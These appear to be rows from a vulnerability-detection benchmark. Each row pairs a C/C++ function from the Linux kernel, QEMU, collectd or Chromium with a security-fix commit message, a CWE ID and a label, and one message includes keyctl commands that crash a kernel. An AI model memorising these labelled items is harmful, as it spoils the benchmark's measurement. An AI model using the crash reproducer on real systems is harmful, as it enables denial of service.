Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-200 | 0 | 105,871 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int aes_get_sizes(void)
{
struct crypto_blkcipher *tfm;
tfm = crypto_alloc_blkcipher(blkcipher_alg, 0, CRYPTO_ALG_ASYNC);
if (IS_ERR(tfm)) {
pr_err("encrypted_key: failed to alloc_cipher (%ld)\n",
PTR_ERR(tfm));
return PTR_ERR(tfm);
}
ivsize = crypto_blkcipher_ivsize(tfm);
blksize = crypto_blkcipher_blocksize(tfm);
crypto_free_blkcipher(tfm);
return 0;
}
Commit Message: KEYS: Fix handling of stored error in a negatively instantiated user key
If a user key gets negatively instantiated, an error code is cached in the
payload area. A negatively instantiated key may be then be positively
instantiated by updating it with valid data. However, the ->update key
type method must be aware that the error code may be there.
The following may be used to trigger the bug in the user key type:
keyctl request2 user user "" @u
keyctl add user user "a" @u
which manifests itself as:
BUG: unable to handle kernel paging request at 00000000ffffff8a
IP: [<ffffffff810a376f>] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046
PGD 7cc30067 PUD 0
Oops: 0002 [#1] SMP
Modules linked in:
CPU: 3 PID: 2644 Comm: a.out Not tainted 4.3.0+ #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
task: ffff88003ddea700 ti: ffff88003dd88000 task.ti: ffff88003dd88000
RIP: 0010:[<ffffffff810a376f>] [<ffffffff810a376f>] __call_rcu.constprop.76+0x1f/0x280
[<ffffffff810a376f>] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046
RSP: 0018:ffff88003dd8bdb0 EFLAGS: 00010246
RAX: 00000000ffffff82 RBX: 0000000000000000 RCX: 0000000000000001
RDX: ffffffff81e3fe40 RSI: 0000000000000000 RDI: 00000000ffffff82
RBP: ffff88003dd8bde0 R08: ffff88007d2d2da0 R09: 0000000000000000
R10: 0000000000000000 R11: ffff88003e8073c0 R12: 00000000ffffff82
R13: ffff88003dd8be68 R14: ffff88007d027600 R15: ffff88003ddea700
FS: 0000000000b92880(0063) GS:ffff88007fd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: 00000000ffffff8a CR3: 000000007cc5f000 CR4: 00000000000006e0
Stack:
ffff88003dd8bdf0 ffffffff81160a8a 0000000000000000 00000000ffffff82
ffff88003dd8be68 ffff88007d027600 ffff88003dd8bdf0 ffffffff810a39e5
ffff88003dd8be20 ffffffff812a31ab ffff88007d027600 ffff88007d027620
Call Trace:
[<ffffffff810a39e5>] kfree_call_rcu+0x15/0x20 kernel/rcu/tree.c:3136
[<ffffffff812a31ab>] user_update+0x8b/0xb0 security/keys/user_defined.c:129
[< inline >] __key_update security/keys/key.c:730
[<ffffffff8129e5c1>] key_create_or_update+0x291/0x440 security/keys/key.c:908
[< inline >] SYSC_add_key security/keys/keyctl.c:125
[<ffffffff8129fc21>] SyS_add_key+0x101/0x1e0 security/keys/keyctl.c:60
[<ffffffff8185f617>] entry_SYSCALL_64_fastpath+0x12/0x6a arch/x86/entry/entry_64.S:185
Note the error code (-ENOKEY) in EDX.
A similar bug can be tripped by:
keyctl request2 trusted user "" @u
keyctl add trusted user "a" @u
This should also affect encrypted keys - but that has to be correctly
parameterised or it will fail with EINVAL before getting to the bit that
will crashes.
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Acked-by: Mimi Zohar <zohar@linux.vnet.ibm.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-264 | 0 | 57,371 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int network_config_add_server (const oconfig_item_t *ci) /* {{{ */
{
sockent_t *se;
int status;
int i;
if ((ci->values_num < 1) || (ci->values_num > 2)
|| (ci->values[0].type != OCONFIG_TYPE_STRING)
|| ((ci->values_num > 1) && (ci->values[1].type != OCONFIG_TYPE_STRING)))
{
ERROR ("network plugin: The `%s' config option needs "
"one or two string arguments.", ci->key);
return (-1);
}
se = sockent_create (SOCKENT_TYPE_CLIENT);
if (se == NULL)
{
ERROR ("network plugin: sockent_create failed.");
return (-1);
}
se->node = strdup (ci->values[0].value.string);
if (ci->values_num >= 2)
se->service = strdup (ci->values[1].value.string);
for (i = 0; i < ci->children_num; i++)
{
oconfig_item_t *child = ci->children + i;
#if HAVE_LIBGCRYPT
if (strcasecmp ("Username", child->key) == 0)
network_config_set_string (child, &se->data.client.username);
else if (strcasecmp ("Password", child->key) == 0)
network_config_set_string (child, &se->data.client.password);
else if (strcasecmp ("SecurityLevel", child->key) == 0)
network_config_set_security_level (child,
&se->data.client.security_level);
else
#endif /* HAVE_LIBGCRYPT */
if (strcasecmp ("Interface", child->key) == 0)
network_config_set_interface (child,
&se->interface);
else
{
WARNING ("network plugin: Option `%s' is not allowed here.",
child->key);
}
}
#if HAVE_LIBGCRYPT
if ((se->data.client.security_level > SECURITY_LEVEL_NONE)
&& ((se->data.client.username == NULL)
|| (se->data.client.password == NULL)))
{
ERROR ("network plugin: A security level higher than `none' was "
"requested, but no Username or Password option was given. "
"Cowardly refusing to open this socket!");
sockent_destroy (se);
return (-1);
}
#endif /* HAVE_LIBGCRYPT */
status = sockent_init_crypto (se);
if (status != 0)
{
ERROR ("network plugin: network_config_add_server: sockent_init_crypto() failed.");
sockent_destroy (se);
return (-1);
}
/* No call to sockent_client_connect() here -- it is called from
* networt_send_buffer_plain(). */
status = sockent_add (se);
if (status != 0)
{
ERROR ("network plugin: network_config_add_server: sockent_add failed.");
sockent_destroy (se);
return (-1);
}
return (0);
} /* }}} int network_config_add_server */
Commit Message: network plugin: Fix heap overflow in parse_packet().
Emilien Gaspar has identified a heap overflow in parse_packet(), the
function used by the network plugin to parse incoming network packets.
This is a vulnerability in collectd, though the scope is not clear at
this point. At the very least specially crafted network packets can be
used to crash the daemon. We can't rule out a potential remote code
execution though.
Fixes: CVE-2016-6254
CWE ID: CWE-119 | 0 | 50,738 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ScriptPromise ImageBitmapFactories::createImageBitmap(EventTarget& eventTarget, ImageBitmap* bitmap, ExceptionState& exceptionState)
{
return createImageBitmap(eventTarget, bitmap, 0, 0, bitmap->width(), bitmap->height(), exceptionState);
}
Commit Message: Fix crash when creating an ImageBitmap from an invalid canvas
BUG=354356
Review URL: https://codereview.chromium.org/211313003
git-svn-id: svn://svn.chromium.org/blink/trunk@169973 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119 | 0 | 115,115 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: long do_mount(const char *dev_name, const char __user *dir_name,
const char *type_page, unsigned long flags, void *data_page)
{
struct path path;
int retval = 0;
int mnt_flags = 0;
/* Discard magic */
if ((flags & MS_MGC_MSK) == MS_MGC_VAL)
flags &= ~MS_MGC_MSK;
/* Basic sanity checks */
if (data_page)
((char *)data_page)[PAGE_SIZE - 1] = 0;
/* ... and get the mountpoint */
retval = user_path(dir_name, &path);
if (retval)
return retval;
retval = security_sb_mount(dev_name, &path,
type_page, flags, data_page);
if (!retval && !may_mount())
retval = -EPERM;
if (retval)
goto dput_out;
/* Default to relatime unless overriden */
if (!(flags & MS_NOATIME))
mnt_flags |= MNT_RELATIME;
/* Separate the per-mountpoint flags */
if (flags & MS_NOSUID)
mnt_flags |= MNT_NOSUID;
if (flags & MS_NODEV)
mnt_flags |= MNT_NODEV;
if (flags & MS_NOEXEC)
mnt_flags |= MNT_NOEXEC;
if (flags & MS_NOATIME)
mnt_flags |= MNT_NOATIME;
if (flags & MS_NODIRATIME)
mnt_flags |= MNT_NODIRATIME;
if (flags & MS_STRICTATIME)
mnt_flags &= ~(MNT_RELATIME | MNT_NOATIME);
if (flags & MS_RDONLY)
mnt_flags |= MNT_READONLY;
/* The default atime for remount is preservation */
if ((flags & MS_REMOUNT) &&
((flags & (MS_NOATIME | MS_NODIRATIME | MS_RELATIME |
MS_STRICTATIME)) == 0)) {
mnt_flags &= ~MNT_ATIME_MASK;
mnt_flags |= path.mnt->mnt_flags & MNT_ATIME_MASK;
}
flags &= ~(MS_NOSUID | MS_NOEXEC | MS_NODEV | MS_ACTIVE | MS_BORN |
MS_NOATIME | MS_NODIRATIME | MS_RELATIME| MS_KERNMOUNT |
MS_STRICTATIME);
if (flags & MS_REMOUNT)
retval = do_remount(&path, flags & ~MS_REMOUNT, mnt_flags,
data_page);
else if (flags & MS_BIND)
retval = do_loopback(&path, dev_name, flags & MS_REC);
else if (flags & (MS_SHARED | MS_PRIVATE | MS_SLAVE | MS_UNBINDABLE))
retval = do_change_type(&path, flags);
else if (flags & MS_MOVE)
retval = do_move_mount(&path, dev_name);
else
retval = do_new_mount(&path, type_page, flags, mnt_flags,
dev_name, data_page);
dput_out:
path_put(&path);
return retval;
}
Commit Message: mnt: Fail collect_mounts when applied to unmounted mounts
The only users of collect_mounts are in audit_tree.c
In audit_trim_trees and audit_add_tree_rule the path passed into
collect_mounts is generated from kern_path passed an audit_tree
pathname which is guaranteed to be an absolute path. In those cases
collect_mounts is obviously intended to work on mounted paths and
if a race results in paths that are unmounted when collect_mounts
it is reasonable to fail early.
The paths passed into audit_tag_tree don't have the absolute path
check. But are used to play with fsnotify and otherwise interact with
the audit_trees, so again operating only on mounted paths appears
reasonable.
Avoid having to worry about what happens when we try and audit
unmounted filesystems by restricting collect_mounts to mounts
that appear in the mount tree.
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
CWE ID: | 0 | 57,823 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void evict(struct inode *inode)
{
const struct super_operations *op = inode->i_sb->s_op;
BUG_ON(!(inode->i_state & I_FREEING));
BUG_ON(!list_empty(&inode->i_lru));
if (!list_empty(&inode->i_io_list))
inode_io_list_del(inode);
inode_sb_list_del(inode);
/*
* Wait for flusher thread to be done with the inode so that filesystem
* does not start destroying it while writeback is still running. Since
* the inode has I_FREEING set, flusher thread won't start new work on
* the inode. We just have to wait for running writeback to finish.
*/
inode_wait_for_writeback(inode);
if (op->evict_inode) {
op->evict_inode(inode);
} else {
truncate_inode_pages_final(&inode->i_data);
clear_inode(inode);
}
if (S_ISBLK(inode->i_mode) && inode->i_bdev)
bd_forget(inode);
if (S_ISCHR(inode->i_mode) && inode->i_cdev)
cd_forget(inode);
remove_inode_hash(inode);
spin_lock(&inode->i_lock);
wake_up_bit(&inode->i_state, __I_NEW);
BUG_ON(inode->i_state != (I_FREEING | I_CLEAR));
spin_unlock(&inode->i_lock);
destroy_inode(inode);
}
Commit Message: Fix up non-directory creation in SGID directories
sgid directories have special semantics, making newly created files in
the directory belong to the group of the directory, and newly created
subdirectories will also become sgid. This is historically used for
group-shared directories.
But group directories writable by non-group members should not imply
that such non-group members can magically join the group, so make sure
to clear the sgid bit on non-directories for non-members (but remember
that sgid without group execute means "mandatory locking", just to
confuse things even more).
Reported-by: Jann Horn <jannh@google.com>
Cc: Andy Lutomirski <luto@kernel.org>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-269 | 0 | 79,824 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool RenderLayerCompositor::scrollingLayerDidChange(RenderLayer* layer)
{
if (ScrollingCoordinator* scrollingCoordinator = this->scrollingCoordinator())
return scrollingCoordinator->scrollableAreaScrollLayerDidChange(layer->scrollableArea());
return false;
}
Commit Message: Disable some more query compositingState asserts.
This gets the tests passing again on Mac. See the bug for the stacktrace.
A future patch will need to actually fix the incorrect reading of
compositingState.
BUG=343179
Review URL: https://codereview.chromium.org/162153002
git-svn-id: svn://svn.chromium.org/blink/trunk@167069 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 113,862 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ehci_execute_complete(EHCIQueue *q)
{
EHCIPacket *p = QTAILQ_FIRST(&q->packets);
uint32_t tbytes;
assert(p != NULL);
assert(p->qtdaddr == q->qtdaddr);
assert(p->async == EHCI_ASYNC_INITIALIZED ||
p->async == EHCI_ASYNC_FINISHED);
DPRINTF("execute_complete: qhaddr 0x%x, next 0x%x, qtdaddr 0x%x, "
"status %d, actual_length %d\n",
q->qhaddr, q->qh.next, q->qtdaddr,
p->packet.status, p->packet.actual_length);
switch (p->packet.status) {
case USB_RET_SUCCESS:
break;
case USB_RET_IOERROR:
case USB_RET_NODEV:
q->qh.token |= (QTD_TOKEN_HALT | QTD_TOKEN_XACTERR);
set_field(&q->qh.token, 0, QTD_TOKEN_CERR);
ehci_raise_irq(q->ehci, USBSTS_ERRINT);
break;
case USB_RET_STALL:
q->qh.token |= QTD_TOKEN_HALT;
ehci_raise_irq(q->ehci, USBSTS_ERRINT);
break;
case USB_RET_NAK:
set_field(&q->qh.altnext_qtd, 0, QH_ALTNEXT_NAKCNT);
return; /* We're not done yet with this transaction */
case USB_RET_BABBLE:
q->qh.token |= (QTD_TOKEN_HALT | QTD_TOKEN_BABBLE);
ehci_raise_irq(q->ehci, USBSTS_ERRINT);
break;
default:
/* should not be triggerable */
fprintf(stderr, "USB invalid response %d\n", p->packet.status);
g_assert_not_reached();
break;
}
/* TODO check 4.12 for splits */
tbytes = get_field(q->qh.token, QTD_TOKEN_TBYTES);
if (tbytes && p->pid == USB_TOKEN_IN) {
tbytes -= p->packet.actual_length;
if (tbytes) {
/* 4.15.1.2 must raise int on a short input packet */
ehci_raise_irq(q->ehci, USBSTS_INT);
if (q->async) {
q->ehci->int_req_by_async = true;
}
}
} else {
tbytes = 0;
}
DPRINTF("updating tbytes to %d\n", tbytes);
set_field(&q->qh.token, tbytes, QTD_TOKEN_TBYTES);
ehci_finish_transfer(q, p->packet.actual_length);
usb_packet_unmap(&p->packet, &p->sgl);
qemu_sglist_destroy(&p->sgl);
p->async = EHCI_ASYNC_NONE;
q->qh.token ^= QTD_TOKEN_DTOGGLE;
q->qh.token &= ~QTD_TOKEN_ACTIVE;
if (q->qh.token & QTD_TOKEN_IOC) {
ehci_raise_irq(q->ehci, USBSTS_INT);
if (q->async) {
q->ehci->int_req_by_async = true;
}
}
}
Commit Message:
CWE ID: CWE-772 | 0 | 5,786 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PassOwnPtr<LifecycleNotifier> Document::createLifecycleNotifier()
{
return DocumentLifecycleNotifier::create(this);
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 102,662 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void PostCopyCallbackToMainThread(
scoped_refptr<base::SingleThreadTaskRunner> main_thread_task_runner,
scoped_ptr<CopyOutputRequest> request,
scoped_ptr<CopyOutputResult> result) {
main_thread_task_runner->PostTask(FROM_HERE,
base::Bind(&RunCopyCallbackOnMainThread,
base::Passed(&request),
base::Passed(&result)));
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 111,873 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int tg_nop(struct task_group *tg, void *data)
{
return 0;
}
Commit Message: Merge branch 'stacking-fixes' (vfs stacking fixes from Jann)
Merge filesystem stacking fixes from Jann Horn.
* emailed patches from Jann Horn <jannh@google.com>:
sched: panic on corrupted stack end
ecryptfs: forbid opening files without mmap handler
proc: prevent stacking filesystems on top
CWE ID: CWE-119 | 0 | 55,669 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: iscsi_bh_cb(void *p)
{
IscsiAIOCB *acb = p;
qemu_bh_delete(acb->bh);
g_free(acb->buf);
acb->buf = NULL;
acb->common.cb(acb->common.opaque, acb->status);
if (acb->task != NULL) {
scsi_free_scsi_task(acb->task);
acb->task = NULL;
}
qemu_aio_unref(acb);
}
Commit Message:
CWE ID: CWE-119 | 0 | 10,498 |
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